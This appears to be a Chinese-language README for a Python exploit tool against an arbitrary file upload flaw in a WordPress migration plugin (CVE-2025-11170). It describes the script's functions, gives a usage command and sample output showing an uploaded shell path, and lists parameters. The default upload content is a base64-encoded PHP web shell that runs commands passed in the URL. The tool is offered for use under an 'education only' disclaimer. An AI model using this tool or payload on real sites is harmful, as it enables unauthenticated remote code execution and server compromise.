WP移行専用プラグイン for CPI <= 1.0.2 - 未授权任意文件上传
WordPress 的 WP移行専用プラグイン for CPI 插件由于在 Cpiwm_Import_Controller::import 函数中缺少文件类型验证,因此在所有版本(包括 1.0.2)中均存在任意文件上传漏洞。
这使得未经身份验证的攻击者能够向受影响站点的服务器上传任意文件,从而可能实现远程代码执行。
CVE-2025-11170.pyNxploited_parse_args
解析并验证输入参数。确保端点结构、请求头和数据类型正确。
Nxploited_logging
设置高级日志记录和详细级别,以输出详细或最简化的运行时信息。
Nxploited_retry_session
初始化带有重试和退避逻辑的持久会话,以实现稳健的通信。
Nxploited_build_payload
构建用于利用漏洞的 POST 请求参数。
Nxploited_send
向存在漏洞的端点发送实际 POST 请求,并处理响应/错误。
Nxploited_output_result
处理并格式化响应,成功时显示 shell 路径,否则显示调试信息。
python3 CVE-2025-11170.py -u "http://192.168.100.74:888/wordpress/" -f "shell.php"
示例输出:
Uploading shell...
Processing response...
[+] Upload successful!
Shell path:
http://192.168.100.74:888/wordpress/wp-content/plugins/cpi-wp-migration/storage/shell.php
Nxploited
My GitHub: https://github.com/Nxploited
此脚本仅用于教育目的。
在未获得适当授权的情况下对目标使用此漏洞利用程序可能违法。
作者对任何滥用、损害或法律后果不承担任何责任。
GitHub:Nxploited
Telegram:KNxploited
作者:Nxploited(Khaled Alenazi)
| 参数 | 描述 |
|---|
-u, --url | 基础目标 URL(例如 http://target.com/wordpress/)。脚本会自动附加 wp-admin/admin-ajax.php。 |
-f, --filename | 要上传的 Shell 或文件名。默认:shell.php |
-d, --data | 文件内容(base64 编码或原始文本)。默认:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ |
-i, --index | 索引字段值。默认:0 |
-H, --headers | 额外的 HTTP 请求头(格式:X-Key:Value;K2:Value2) |
-t, --timeout | HTTP 请求超时时间(秒)。默认:10 |
--retries | 重试尝试次数。默认:3 |
--backoff | 重试之间的退避因子(秒)。默认:0.7 |
-v, --verbose | 增加调试信息的详细程度(可重复使用) |